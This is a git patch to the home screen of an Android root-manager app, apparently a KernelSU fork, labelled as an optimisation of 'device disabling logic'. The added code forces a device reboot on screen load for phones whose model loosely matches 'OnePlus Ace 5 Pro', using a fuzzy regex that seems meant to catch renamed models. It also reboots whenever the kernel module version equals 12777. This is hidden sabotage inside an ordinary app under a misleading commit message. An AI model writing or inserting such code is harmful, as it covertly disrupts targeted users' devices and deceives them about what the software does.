From 378b8458f2d9a6f90b855b59265ed323fb7d5b1b Mon Sep 17 00:00:00 2001 From: ShirkNeko <109797057+ShirkNeko@users.noreply.github.com> Date: Mon, 14 Apr 2025 19:30:30 +0800 Subject: [PATCH] Opt device disabling logic in HomeScreen --- .../java/zako/zako/zako/ui/screen/Home.kt | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/manager/app/src/main/java/zako/zako/zako/ui/screen/Home.kt b/manager/app/src/main/java/zako/zako/zako/ui/screen/Home.kt index 35867b3e..d7504c33 100644 --- a/manager/app/src/main/java/zako/zako/zako/ui/screen/Home.kt +++ b/manager/app/src/main/java/zako/zako/zako/ui/screen/Home.kt @@ -96,16 +96,19 @@ fun HomeScreen(navigator: DestinationsNavigator) { val isManager = Natives.becomeManager(ksuApp.packageName) val ksuVersion = if (isManager) Natives.version else null - if (ksuVersion != null) { - if (deviceModel == "一加 Ace 5 Pro" && managerVersion > ksuVersion + 1) { - isDisabled = true + if (kernelVersion.isGKI()) { + if (ksuVersion != null) { + val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex() + if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 3) { + isDisabled = true + } } - } - LaunchedEffect(isDisabled, ksuVersion) { - if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) { - Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...") - reboot() + LaunchedEffect(isDisabled, ksuVersion) { + if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) { + Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...") + reboot() + } } }